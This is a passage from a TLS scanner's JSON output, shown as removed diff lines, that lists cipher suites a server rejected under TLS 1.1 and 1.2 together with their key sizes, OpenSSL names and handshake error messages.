"cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - } - ], - "tls_version_used": "TLS_1_1" - }, - "status": "COMPLETED" - }, - "tls_1_2_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA256", - "openssl_name": "NULL-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "CAMELLIA256-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "CAMELLIA128-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ARIA256-GCM-SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ARIA128-GCM-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_256_CCM_8", - "openssl_name": "AES256-CCM8" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CCM", - "openssl_name": "AES256-CCM" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "AES256-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CCM_8", - "openssl_name": "AES128-CCM8" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CCM", - "openssl_name": "AES128-CCM" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDH-RSA-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDH-RSA-AES256-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDH-RSA-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDH-RSA-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDH-ECDSA-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDH-ECDSA-AES256-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDH-ECDSA-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDH-ECDSA-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "ECDHE-RSA-CHACHA20-POLY1305" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384", - "openssl_name": "ECDHE-RSA-CAMELLIA256-SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "ECDHE-RSA-CAMELLIA128-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ECDHE-ARIA256-GCM-SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ECDHE-ARIA128-GCM-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDHE-RSA-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDHE-RSA-AES256-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDHE-RSA-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDHE-RSA-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "ECDHE-ECDSA-CHACHA20-POLY1305" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384", - "openssl_name": "ECDHE-ECDSA-CAMELLIA256-SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "ECDHE-ECDSA-CAMELLIA128-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ECDHE-ECDSA-ARIA256-GCM-SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ECDHE-ECDSA-ARIA128-GCM-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDHE-ECDSA-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8", - "openssl_name": "ECDHE-ECDSA-AES256-CCM8" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM", - "openssl_name": "ECDHE-ECDSA-AES256-CCM" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDHE-ECDSA-AES256-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDHE-ECDSA-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8", - "openssl_name": "ECDHE-ECDSA-AES128-CCM8" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM", - "openssl_name": "ECDHE-ECDSA-AES128-CCM" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDHE-ECDSA-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_GCM_SHA384", - "openssl_name": "ADH-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA256", - "openssl_name": "ADH-AES256-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_GCM_SHA256", - "openssl_name": "ADH-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA256", - "openssl_name": "ADH-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "DH-RSA-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "DH-RSA-AES256-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "DH-RSA-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "DH-RSA-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_GCM_SHA384", - "openssl_name": "DH-DSS-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA256", - "openssl_name": "DH-DSS-AES256-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_GCM_SHA256", - "openssl_name": "DH-DSS-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA256", - "openssl_name": "DH-DSS-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "DHE-RSA-CHACHA20-POLY1305" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - 